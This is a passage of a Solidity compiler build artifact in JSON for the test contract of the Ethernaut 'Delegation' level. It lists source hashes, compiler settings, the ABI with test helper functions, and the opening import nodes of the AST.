},\"src/levels/Delegation.sol\":{\"keccak256\":\"0x25716599c51153d0049c60fc57e189baeab95f360c9b136b397d609260f2b716\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ea06e7fa81b5e55e371f1b2aeef2f996662501ee40874abd0d19243389e670f3\",\"dweb:/ipfs/QmQUirdszW4fPAV9hmyNFhDzrTsPvM63mCBfor7rYn1gYL\"]},\"src/levels/DelegationFactory.sol\":{\"keccak256\":\"0x9dbef0c87d0701a1b4d3e13a3e478af1cf1a4e5418507c0c8ffde2dc95c17c5a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://64fcec6468631b8c5d49f6852cd8c3ed845005372fefa0d3fcdb545e5201659f\",\"dweb:/ipfs/QmNuuQude9reyAdTqgG4irnD1Efqdf5VAmZf2cQWLvRE2n\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Delegation.t.sol\":{\"keccak256\":\"0x5c90a753bc843917ccc3a88198d7d6dd98768a0f4ff355f5913a4ba8d4bdde15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fc8f8a1f8e68134be7b459cd506967f9de18728f36f1602a5207936cd39f7c7c\",\"dweb:/ipfs/QmXxGzkpFGrNgfahqhiACGr8jCYGsXLUT9bcX6iE2LBP58\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Delegation.t.sol":"TestDelegation"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Delegation.sol":{"keccak256":"0x25716599c51153d0049c60fc57e189baeab95f360c9b136b397d609260f2b716","urls":["bzz-raw://ea06e7fa81b5e55e371f1b2aeef2f996662501ee40874abd0d19243389e670f3","dweb:/ipfs/QmQUirdszW4fPAV9hmyNFhDzrTsPvM63mCBfor7rYn1gYL"],"license":"MIT"},"src/levels/DelegationFactory.sol":{"keccak256":"0x9dbef0c87d0701a1b4d3e13a3e478af1cf1a4e5418507c0c8ffde2dc95c17c5a","urls":["bzz-raw://64fcec6468631b8c5d49f6852cd8c3ed845005372fefa0d3fcdb545e5201659f","dweb:/ipfs/QmNuuQude9reyAdTqgG4irnD1Efqdf5VAmZf2cQWLvRE2n"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Delegation.t.sol":{"keccak256":"0x5c90a753bc843917ccc3a88198d7d6dd98768a0f4ff355f5913a4ba8d4bdde15","urls":["bzz-raw://fc8f8a1f8e68134be7b459cd506967f9de18728f36f1602a5207936cd39f7c7c","dweb:/ipfs/QmXxGzkpFGrNgfahqhiACGr8jCYGsXLUT9bcX6iE2LBP58"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Delegation.t.sol","id":59515,"exportedSymbols":{"Delegation":[50294],"DelegationFactory":[50375],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestDelegation":[59514],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1951:123","nodes":[{"id":59329,"nodeType":"PragmaDirective","src":"32:23:123","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":59330,"nodeType":"ImportDirective","src":"57:28:123","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":59515,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":59332,"nodeType":"ImportDirective","src":"86:43:123","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":59515,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":59331,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:123","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59334,"nodeType":"ImportDirective","src":"131:53:123","nodes":[],"absolutePath":"src/levels/Delegation.sol","file":"src/levels/Delegation.sol","nameLocation":"-1:-1:-1","scope":59515,"sourceUnit":50295,"symbolAliases":[{"foreign":{"id":59333,"name":"Delegation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50294,"src":"139:10:123","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59336,"nodeType":"ImportDirective","src":"185:67:123","nodes":[],"absolutePath":"src/levels/DelegationFactory.sol","file":"src/levels/DelegationFactory.sol","nameLocation":"-1:-1:-1","scope":59515,"sourceUnit":50376,"symbolAliases":[{"foreign":{"id":59335,"name":"DelegationFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50375,"src":"193:17:123","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"